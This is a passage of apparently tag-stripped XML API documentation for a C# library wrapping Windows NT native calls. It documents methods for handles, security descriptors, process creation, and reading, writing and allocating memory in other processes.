null the method will try and lookup the appropriate type. + The path to the object to open. + A root directory to open from. + Generic access rights to the object. + Attributes to open the object. + Security quality of service. + True to throw on error. + The opened object. + Thrown if an error occurred opening the object. + + + + Open an NT object with a specified type. + + The name of the type to open (e.g. Event). If null the method will try and lookup the appropriate type. + The path to the object to open. + A root directory to open from. + Generic access rights to the object. + Attributes to open the object. + Security quality of service. + The opened object. + Thrown if an error occurred opening the object. + + + + Open an NT object with a specified type. + + The name of the type to open (e.g. Event). If null the method will try and lookup the appropriate type. + The path to the object to open. + A root directory to open from. + Generic access rights to the object. + The opened object. + Thrown if an error occurred opening the object. + Thrown if type of resource couldn't be found. + + + + Close a handle in another process. + + The source handle to close. + The source process containing the handle to close. + True to throw an exception on error. + The NT status code. + + + + Close a handle in another process. + + The source handle to close. + The source process containing the handle to close. + + + + Close a handle in another process by PID. + + The source handle to close. + The source process ID containing the handle to close. + True to throw an exception on error. + The NT status code. + + + + Close a handle in another process by PID. + + The source handle to close. + The source process ID containing the handle to close. + + + + Close a handle. + + The handle to close. + The NT status code. + + + + Close a handle. + + The handle to close. + The NT status code. + + + + Duplicate a handle to a new handle, potentially in a different process. + + Attribute flags for new handle + The source handle to duplicate + The source process to duplicate from + The desination process for the handle + Duplicate handle options + The access rights for the new handle + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate a handle to a new handle, potentially in a different process. + + Attribute flags for new handle + The source handle to duplicate + The source process to duplicate from + The desination process for the handle + Duplicate handle options + The access rights for the new handle + The NT status code and object result. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + True to throw an exception on error. + The duplicated object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + The duplicated object. + + + + Duplicate object with specific access rights. + + Access rights to duplicate with. + The duplicated object. + + + + Duplicate object with same access rights. + + The duplicated object. + + + + Duplicate the object handle as a WaitHandle. + + The wait handle. + + + + Check if access is granted to a set of rights + + The access rights to check + True if all the access rights are granted + + + + Get security descriptor as a byte array + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get security descriptor as a byte array + + What parts of the security descriptor to retrieve + True to throw on error. + The NT status result and security descriptor. + + + + Get security descriptor as a byte array + + Returns an array of bytes for the security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status result. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor as an SDDL string + + The security descriptor as an SDDL string + + + + Make the object a temporary object + + True to throw on error. + The NT status code. + + + + Make the object a temporary object + + + + + Make the object a permanent object + + True to throw on error. + The NT status code. + + + + Make the object a permanent object + + + + + Wait on the object to become signaled + + True to make the wait alertable + The time out + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled + + The time out + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled + + True to make the wait alertable + The time out in seconds + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled + + The time out in seconds + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled for an infinite time. + + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled. + + Timeout in seconds. + Cancellation token for wait. + A task to wait on. If result is true then event was signaled. + + + + Wait on the object to become signaled. + + Timeout in seconds. + A task to wait on. If result is true then event was signaled. + + + + Wait on the object to become signaled. + Will wait an infinite time. + + A task to wait on. + + + + Convert an enumerable access rights to a string + + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + The string format of the access rights + + + + Check if this object is exactly the same as another using NtCompareObject. + + The object to compare against. + True if this is the same object. + Thrown on error. + This is only supported on Windows 10 and above. For one which works on everything use SameObject. + + + + Check if this object is exactly the same as another. + + The object to compare against. + True if this is the same object. + Thrown on error. + This function can be slow to run and unreliable. Use CompareObject is Windows 10 or above. + + + + Convert to a string + + The string form of the object + + + + Get full path to the object + + + + + Get the granted access as an unsigned integer + + + + + Get the security descriptor, with Dacl, Owner, Group and Label + + + + + Get the security descriptor as an SDDL string + + The security descriptor as an SDDL string + + + + The low-level handle to the object. + + + + + Get the NT type name for this object. + + The NT type name. + + + + Get the NtType for this object. + + The NtType for the type name + + + + Get the name of the object + + + + + Indicates if the handle can be used for synchronization. + + + + + Get object creation time. + + + + + Get the attribute flags for the object. + + + + + Get number of handles for this object. + + + + + Get reference count for this object. + + + + + Get or set whether the handle is inheritable. + + + + + Get or set whether the handle is protected from closing. + + + + + Get the object's address is kernel memory. + + As getting the address is expensive you need to pass the object to NtSystemInfo::ResolveObjectAddress to intialize. + + + + Returns whether this object is a container. + + + + + Returns whether this object is closed. + + + + + Virtual Dispose method. + + True if disposing, false if finalizing + + + + Finalizer + + + + + Dispose + + + + + Close handle + + + + + Generic access rights. + + + + + Options for duplicating objects. + + + + + Close the original handle. + + + + + Duplicate with the same access. + + + + + Duplicate with the same handle attributes. + + + + + Prevent duplicating handle above the existing access. + + + + + Information class for NtQueryObject + + + + + + Structure to return Object Name + + + + + Structure to return Object basic information + + + + + Type of kernel pool used for object allocation + + + + + Native structure used for getting type information. + + + + + Static utility methods. + + + + + Convert the safe handle to an array of bytes. + + The data contained in the allocaiton. + + + + Convert an NtStatus to an exception if the status is an error + + The NtStatus + The original NtStatus if not an error + Thrown if status is an error. + + + + Convert an NtStatus to an exception if the status is an error and throw_on_error is true. + + The NtStatus + True to throw an exception onerror. + The original NtStatus if not thrown + Thrown if status is an error and throw_on_error is true. + + + + Checks if the NtStatus value is a success + + The NtStatus value + True if a success + + + + Checks if the NtStatus value is an error. + + The NtStatus value + True if an error. + + + + Get the severity of the NTSTATUS. + + The NtStatus value + The severity. + + + + Get the facility of the NTSTATUS. + + The NtStatus value + The facility. + + + + Get the status code of the NTSTATUS. + + The NtStatus value. + The static code. + + + + Is an NTSTATUS a customer code. + + The NtStatus value + True if is a customer code. + + + + Is an NTSTATUS reserved. + + The NtStatus value + True if reserved. + + + + Build a status from it's component parts. + + The severity of the status code. + Is this a customer code? + Is this a reserved code? + The facility. + The status code. + + + + + Convert an NTSTATUS to a message description. + + The status to convert. + The message description, or an empty string if not found. + + + + Convert an integer to an NtStatus code. + + The integer status. + The converted code. + + + + Convert an enumerable access rights to a string + + The granted access mask. + Generic mapping for object type. + Enum type to convert to string. + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an IEnumerable to a Disposable List. + + + + + + + + Run a function on an NtResult and dispose the result afterwards. + + The underlying result type. + The result of the function. + The result. + The function to call. + The default value to return if an error occurred. + The result of func. + If result is not a success then the function is not called. + + + + Run a function on an NtResult and dispose the result afterwards. + + The underlying result type. + The result of the function. + The result. + The function to call. + The result of func. + If result is not a success then the function is not called. + + + + Run an action on an NtResult and dispose the result afterwards. + + The underlying result type. + The result. + The action to call. + If result is not a success then the action is not called. + + + + Run a function on an NtResult and dispose the result afterwards. + + The underlying result type. + The result of the function. + The result. + The function to call. + The result of func. + + + + Run an action on an NtResult and dispose the result afterwards. + + The underlying result type. + The result. + The action to call. + + + + Convert a handle to a known object type. + + The handle. + The object type. + + + + Convert a handle to a known object type. + + The handle. + True to own the handle. + The object type. + + + + Convert a handle to a known object type. + + The handle. + True to own the handle. + The object type. + + + + Map a DOS error to an NT status code. + + The DOS error. + The NT status code. + + + + Map a status to a DOS error code. Takes into account NTWIN32 + status codes. + + The status code. + The mapped DOS error. + + + + Get the last NT status code in this thread set for Win32 last error. + + The last NT status code. + + + + Create an NT result object. If status is successful then call function otherwise use default value. + + The result type. + The associated status code. + Throw an exception on error. + Function to call to create an instance of the result + The created result. + + + + Create a successful NT result object. + + The result type. + The result value. + The created result. + + + + Create an NT result object. If status is successful then call function otherwise use default value. + + The result type. + The associated status code. + Throw an exception on error. + Function to call to create an instance of the result + Function to call on error. + The created result. + + + + Create an NT result object. If status is successful then call function otherwise use default value. + + The result type. + The associated status code. + Throw an exception on error. + Function to call to create an instance of the result + The created result. + + + + A derived class to add some useful functions such as Duplicate + + The derived type to use as return values + An enum which represents the access mask values for the type + + + + Reopen object with different access rights. + + The desired access. + Additional attributes for open. + True to throw on error. + The reopened object. + + + + Reopen object with different access rights. + + The desired access. + True to throw on error. + The reopened object. + + + + Reopen object with different access rights. + + The desired access. + The reopened object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + True to throw an exception on error. + The duplicated object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + True to throw an exception on error. + The duplicated object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + The duplicated object. + + + + Duplicate the object with specific access rights + + The access rights for the new handle + The duplicated object + + + + Duplicate the object with specific access rights + + The access rights for the new handle + True to throw an exception on error. + The duplicated object + + + + Duplicate the object with same access rights + + The duplicated object + + + + Duplicate the object with same access rights + + True to throw on error. + The duplicated object + + + + Get granted access for handle. + + Granted access + + + + Get generic granted access for handle. + + Generic Granted access + + + + Get the maximum permission access for this object based on a token + and it's security descriptor. + + The token to check against. + Returns 0 if can't read the security descriptor. + + + + Get the maximum permission access for this object based on the current token + and its security descriptor. + + Returns 0 if can't read the security descriptor. + + + + Check if a specific set of access rights is granted + + The access rights to check + True if all access rights are granted + + + + Create a new instance from a kernel handle + + The kernel handle + The new typed instance + + + + Create a new instance from a kernel handle + + The kernel handle + True to own the handle. + The new typed instance + + + + Create a new instance from a kernel handle. + + The kernel handle + The call doesn't own the handle. The returned object can't be used to close the handle. + The new typed instance + + + + Duplicate an instance from a process + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + The attribute flags for the new object. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + The attribute flags for the new object. + The NT status code and object result. + + + + Duplicate an instance from a process + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process + + The process ID + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process with a specified access rights. + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate. + The duplicated handle + + + + Duplicate an instance from a process + + The process ID + The handle value to duplicate + The access rights to duplicate with + The duplicated handle + + + + Duplicate an instance from a process with same access rights. + + The process (with DupHandle access) + The handle value to duplicate + The duplicated object. + + + + Duplicate an instance from a process with same access rights + + The process ID + The handle value to duplicate + The duplicated handle + + + + Duplicate an instance from current process to an other process + + The destination process (with DupHandle access) + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from current process to an other process + + The destination process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from current process to an other process + + The destination process ID + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from current process to an other process with a specified access rights. + + The destination process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate. + The duplicated handle + + + + Duplicate an instance from current process to an other process + + The destination process ID + The handle value to duplicate + The access rights to duplicate with + The duplicated handle + + + + Duplicate an instance from current process to an other process with same access rights. + + The destination process (with DupHandle access) + The handle value to duplicate + The duplicated object. + + + + Duplicate an instance from current process to an other process with same access rights. + + The destination process (with DupHandle access) + The duplicated object. + + + + Duplicate an instance from current process to an other process with same access rights + + The destination process ID + The handle value to duplicate + The duplicated handle + + + + Duplicate an instance from current process to an other process with same access rights + + The destination process ID + The duplicated handle + + + + Duplicate an instance from a process to an other process + + The source process (with DupHandle access) + The handle value to duplicate + The destination process (with DupHandle access) + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process to an other process + + The source process ID + The handle value to duplicate + The destination process ID + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process to an other process with a specified access rights. + + The source process (with DupHandle access) + The handle value to duplicate + The destination process (with DupHandle access) + The access rights to duplicate. + The duplicated handle + + + + Duplicate an instance from a process to an other process + + The source process ID + The handle value to duplicate + The destination process ID + The access rights to duplicate with + The duplicated handle + + + + Duplicate an instance from a process to an other process with same access rights. + + The source process (with DupHandle access) + The handle value to duplicate + The destination process (with DupHandle access) + The duplicated object. + + + + Duplicate an instance from a process to an other process with same access rights + + The source process ID + The handle value to duplicate + The destination process ID + The duplicated handle + + + + Interface to generically query an object. + + + + + Interface to generically set an object. + + + + + A derived class to add some useful functions such as Duplicate as well as generic Query and Set information methods. + + The derived type to use as return values + An enum which represents the access mask values for the type + An enum which represents the information class for query. + An enum which represents the information class for set. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Query an enumerated value from the object. + + The type of enum to return. + The base type for the enumeration. + The information class to query. + The result of the query. + Thrown on error. + + + + Query an enumerated value from the object. + + The type of enum to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Query the information class as an object. + + The information class. + The information class as an object. + If the information class doesn't have an explicit object type a raw byte query will be made. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. If you specify a SafeBuffer then it'll be passed directly. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer. + + The information class to set. + The value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer.. + + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + The NT status code of the set. + Thrown on error. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Overriddable method to determine the maximum brute force length for query. + + Information class to key on if needs to return different sizes. + The maximum bytes to brute force. Returning 0 will disable brute force. + + + + Overridable method to determine if the return length shouldn't be trusted for this info class when querying a variable buffer. + + Information class to key on. + True to trust the return length when querying a variable buffer. + + + + Class representing a NT Partition object + + + + + Create a partition object + + The object attributes + Optional parent parition. + Desired access for the partition. + The preferred node, -1 for any node. + True to throw an exception on error. + The NT status code and object result. + + + + Create a partition object + + The object attributes + Optional parent parition. + Desired access for the partition. + The preferred node, -1 for any node. + The NT status code and object result. + + + + Open a partition object + + The object attributes + Desired access for the partition. + True to throw an exception on error. + The NT status code and object result. + + + + Open a partition object + + The object attributes + Desired access for the partition. + The NT status code and object result. + + + + Class representing a NT Process object. + + + + + Gets all accessible processes on the system. + + The access desired for each process. + The list of accessible processes. + + + + Gets all accessible processes on the system. + + The access desired for each process. + True to get processes from system information rather than NtGetNextProcess + The list of accessible processes. + + + + Gets all accessible processes on the system in a particular session. + + The session ID. + The access desired for each process. + The list of accessible processes. + + + + Gets all accessible processes on the system in the current session session. + + The access desired for each process. + The list of accessible processes. + + + + Get first accessible process (used in combination with GetNextProcess) + + The access required for the process. + The accessible process, or null if one couldn't be opened. + + + + Open a process + + The process ID to open + Optional thread ID to verify the correct process is opened. + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a process + + The process ID to open + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a process + + The process ID to open + The desired access for the handle + The opened process + + + + Open a process + + The process ID to open + Optional thread ID to verify the correct process is opened. + The desired access for the handle + The opened process. + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + True to throw on error. + The created process + + + + Create a new process + + Desired access for the new process. + Optional object attributes. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + The created process + + + + Create a new process + + The parent process + Creation flags + Handle to the executable image section + Access token for the new process. + The created process + + + + Create a new process + + The parent process + Creation flags + Handle to the executable image section + The created process + + + + Create a new process + + Handle to the executable image section + Access token for the new process. + The created process + + + + Create a new process + + Handle to the executable image section + The created process + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + True to throw on error. + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Create a new process + + Desired access for the new process. + Optional object attributes. + The parent process + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + The created process + + + + Create a new user process. + + The process configuration. + True to throw on error. + The result of the process creation + + + + Create a new user process. + + The process configuration. + The result of the process creation + + + + Fork a process. + + The process configuration. + True to throw on error. + The new forked process result + This uses NtCreateUserProcess. + + + + Fork a process. + + The process configuration. + The new forked process result + This uses NtCreateUserProcess. + + + + Open an actual handle to the current process rather than the pseudo one used for Current + + The process object + + + + Test whether a process can access another protected process. + + The current process. + The target process. + True if the process can be accessed. + + + + Reopen object with different access rights. + + The desired access. + Additional attributes for open. + True to throw on error. + The reopened object. + + + + Get next accessible process (used in combination with GetFirstProcess) + + The access required for the process. + The accessible process, or null if one couldn't be opened. + + + + Get previous accessible process (used in combination with GetFirstProcess) + + The access required for the process. + The accessible process, or null if one couldn't be opened. + + + + Get previous accessible process (used in combination with GetFirstProcess) + + The accessible process, or null if one couldn't be opened. + + + + Get first accessible thread for process. + + The desired access for the thread. + The first thread object, or null if not accessible threads. + + + + Get first accessible thread for process. + + The first thread object, or null if not accessible threads. + + + + Get accessible threads for a process. + + The desired access for the threads + The list of threads + + + + Get accessible threads for a process. + + The list of threads + + + + Read a partial PEB from the process. + + The read PEB structure. + + + + Create a new process + + Creation flags + Handle to the executable image section + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + True to throw on error. + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Create a new process + + Optional object attributes. + Desired access for the new process. + Creation flags + Handle to the executable image section + Debug port for the new process. + Access token for the new process. + The created process + This uses NtCreateProcessEx rather than NtCreateUserProcess + + + + Terminate the process + + The exit code for the termination + + + + Terminate the process + + The exit code for the termination + + + + Terminate the process + + The exit code for the termination + True to throw on error. + The NT status code. + + + + Get process image file path + + True to return the native image path, false for a Win32 style path + True to throw on error. + The process image file path + + + + Get process image file path + + True to return the native image path, false for a Win32 style path + The process image file path + + + + Get a mitigation policy raw value + + The policy to get + True to throw on error. + The raw policy value + + + + Get a mitigation policy raw value + + The policy to get + The raw policy value + + + + Get a mitigation policy as an enumeration. + + The policy to get. + True to throw on error. + The mitigation policy value + + + + Get a mitigation policy as an enumeration. + + The policy to get. + The mitigation policy value + + + + Get a mitigation policy raw value + + The policy to get + True to throw on error. + The raw policy value + + + + Get a mitigation policy raw value + + The policy to get + The raw policy value + + + + Set a mitigation policy raw value + + The policy to set + The value to set + True to throw on error. + The NT status code. + + + + Set a mitigation policy raw value + + The policy to set + The value to set + + + + Set a mitigation policy value from an enum. + + The policy to set + The value to set + True to throw on error. + The NT status code. + + + + Set a mitigation policy value from an enum. + + The policy to set + The value to set + + + + Set a mitigation policy raw value + + The policy to set + The value to set + True to throw on error. + The NT status code. + + + + Set a mitigation policy raw value + + The policy to set + The value to set + + + + Disable dynamic code policy on another process. + + + + + Suspend the entire process. + + True to throw on error. + The NT status code. + + + + Resume the entire process. + + True to throw on error. + The NT status code. + + + + Suspend the entire process. + + + + + Resume the entire process. + + + + + Open the process' token + + The process token. + + + + Open the process' token + + True to throw on error. + The process token. + + + + Open the process' token + + Desired access for token. + True to throw on error. + The process token. + + + + Set process access token. Process must be have not been started. + + The token to set. + True to throw on error. + The NT status code. + + + + Set process access token. Process must be have not been started. + + The token to set. + + + + Read memory from a process. + + The base address in the process. + The length to read. + If true ensure we read all bytes, otherwise throw on exception. + The array of bytes read from the location. + If a read is short then returns fewer bytes than requested. + Thrown on error. + + + + Read memory from a process. + + The base address in the process. + The length to read. + The array of bytes read from the location. + If a read is short then returns fewer bytes than requested. + Thrown on error. + + + + Write memory to a process. + + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Read structured memory from a process. + + The base address in the process. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory to a process. + + The base address in the process. + The data to write. + Thrown on error. + Type of structure to write. + + + + Read structured memory array from a process. + + The base address in the process. + The number of elements in the array to read. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory array to a process. + + The base address in the process. + The data array to write. + Thrown on error. + Type of structure to write. + + + + Query memory information for a process. + + The base address. + The queries memory information. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + Specify memory types to filter on. + Set of flags which indicate the memory states to return. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + True to include free regions of memory. + Specify memory types to filter on. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + True to include free regions of memory. + Thrown on error. + + + + Query all memory information regions in process memory excluding free regions. + + The list of memory regions. + Thrown on error. + + + + Query a list of mapped images in a process. + + The list of mapped images + Thrown on error. + + + + Query a list of mapped files in a process. + + The list of mapped images + Thrown on error. + + + + Query a list of all mapped files and images in a process. + + The list of mapped images + Thrown on error. + + + + Allocate virtual memory in a process. + + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + True to throw on error. + The address of the allocated region. + Thrown on error. + + + + Allocate virtual memory in a process. + + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + The address of the allocated region. + Thrown on error. + + + + Allocate read/write virtual memory in a process. + + The region size to allocate. + The address of the allocated region. + Thrown on error. + + + + Free virtual emmory in a process. + + Base address of region to free + The size of the region. + The type to free. + Thrown on error. + + + + Free virtual emmory in a process. + + Base address of region to free + The size of the region. + The type to free. + True to throw on error. + Thrown on error. + + + + Change protection on a region of memory. + + The base address + The size of the memory region. + The new protection type. + The old protection for the region. + Thrown on error. + + + + Change protection on a region of memory. + + The base address + The size of the memory region. + The new protection type. + True to throw on error. + The old protection for the region. + Thrown on error. + + + + Flush instruction cache. + + The address to flush. + The number of bytes to flush/ + True to throw on error. + The NT status code. + + + + Flush instruction cache. + + The address to flush. + The number of bytes to flush/ + + + + Query working set information for an address in a process. + + The base address to query. + True to throw on error + The working set information. + Thrown on error. + + + + Query working set information for an address in a process. + + The base address to query. + The working set information. + Thrown on error. + + + + Set the process device map. + + The device map directory to set. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Set the process device map. + + The device map directory to set. + True to throw on error. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Set the process device map. + + The device map directory to set. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Set the process device map. + + The device map directory to set. + True to throw on error. + Note that due to a bug in the Wow64 layer this won't work in a 32 bit process on a 64 bit system. + + + + Open a process' debug object. + + True to throw on error. + The process' debug object. + + + + Open a process' debug object. + + The process' debug object. + + + + Queries whether process is backed by a specific file. + + File object opened with Synchronize and Execute access to test against. + True if the process is created from the image file. + + + + Open parent process by ID. + + The desired process access rights. + True to throw on error. + The opened process. + Thrown on error. + + + + Open parent process by ID. + + The desired process access rights. + The opened process. + Thrown on error. + + + + Open parent process by ID. + + The opened process. + Thrown on error. + + + + Open owner process by ID. + + The desired process access rights. + True to throw on error. + The opened process. + Thrown on error. + + + + Open owner process by ID. + + The desired process access rights. + The opened process. + Thrown on error. + + + + Open owner process by ID. + + The opened process. + Thrown on error. + + + + Get if process is in a job. + + A specific job to check + True if in specific job. + + + + Get if process is in a job. + + True if in a job. + + + + Get process handle table. + + The list of process handles. + + + + Get handles for process. + + Specify to all name/details to be queried from the handle. + Force file query for name/details for non-filesystem handles. + True to throw on error. + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get handles for process. + + Specify to all name/details to be queried from the handle. + True to throw on error. + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get handles for process. + + Specify to all name/details to be queried from the handle. + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get handles for process. + + The list of handles. + This queries the handles from the process which does not contain the Object's addres in kernel memory. + + + + Get the process handle table and try and get them as objects. + + True to only return named objects + A list of typenames to filter on (if empty then return all) + The list of handles as objects. + This function will drop handles it can't duplicate. + + + + Get the process handle table and try and get them as objects. + + The list of handles as objects. + This function will drop handles it can't duplicate. + + + + Open image section for process. + + True to throw on error. + The opened image section. + Should only work on the pseudo process handle. + + + + Open image section for process. + + The opened image section. + Should only work on the pseudo process handle. + + + + Unmap a section. + + The base address to unmap. + Flags for unmapping memory. + True to throw on error. + The NT status code. + + + + Unmap a section. + + The base address to unmap. + True to throw on error. + The NT status code. + + + + Unmap a section. + + The base address to unmap. + Flags for unmapping memory. + + + + Unmap a section. + + The base address to unmap. + + + + Get the user SID for the process. + + True to throw on error. + The user SID. + + + + Get the user SID for the process. + + The user SID. + + + + Get the integrity level for the process. + + True to throw on error. + The integerity level. + + + + Set process fault flags. + + The flags to set. + True to throw on error. + The NT status code for the operation. + + + + Set process fault flags. + + The flags to set. + The NT status code for the operation. + + + + Set the process exception port. + + The exception port to set. + Additional state flags. + True to throw on error. + The NT status code. + + + + Set the process exception port. + + The exception port to set. + True to throw on error. + The NT status code. + + + + Set the process exception port. + + The exception port to set. + The NT status code. + + + + Get the user process parameters. + + The user process parameters. + + + + Fork the process. + + Extra flags for fork. + True to throw on error. + The new forked process result. + This uses NtCreateProcessEx. + + + + Fork the process. + + Extra flags for fork. + The new forked process result. + This uses NtCreateProcessEx. + + + + Fork the process. + + The new forked process result. + This uses NtCreateProcessEx. + + + + Get the accessible job objects this process is in. + + This tries to find accessible Job handles. There's no guarantee that all Job objects will be found for the process. + The list of job objects. + + + + Set thread intelligence logging flags. + + The flags to set. + True to throw on error. + The NT status code. + + + + Set thread intelligence logging flags. + + The flags to set. + + + + Get the process security domain. + + True to throw on error. + The security domain. + + + + Get the process security domain. + + The security domain. + + + + Combine two process' security domains. + + The process to combine with. Needs QueryLimitedInformation. + True to throw on error. + The NT status code. + The current process need SetLimitedInformation access. + + + + Combine two process' security domains. + + The process to combine with. Needs QueryLimitedInformation. + The current process need SetLimitedInformation access. + + + + Get the session ID for the process. + + True to throw on error. + The session ID. + + + + Test whether the current process can access another protected process. + + The target process. + True if the process can be accessed. + + + + Get the environment from the process. + + List of environment variables. + + + + Get an environment variable by name. + + The name of the variable. + The value of the environment variable. Returns null if it doesn't exist. + Only returns the first variable with a case insensitive name. + + + + Revoke file handles for an AppContainer process. + + The device path for the files to revoke. + True to throw on error. + The NT status code. + + + + Revoke file handles for an AppContainer process. + + The device path for the files to revoke. + + + + Get the process command line. + + True to throw on error. + The process command line. + + + + Get the IO counters for the process. + + True to throw on error. + The IO counters. + + + + Create a VBS enclave. + + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + True to throw on error. + The created enclave. + + + + Create a VBS enclave. + + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + The created enclave. + + + + Get priority boost disable value. + + True to throw on error. + True if priority base + + + + Set priority boost disable value. + + True to disable priority boost. + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the process' session ID + + + + + Get the process' ID + + + + + Get the process' parent process ID + + + + + Get the memory address of the PEB + + + + + Get the memory address of the PEB for a 32 bit process. + + If the process is 64 bit, or the OS is 32 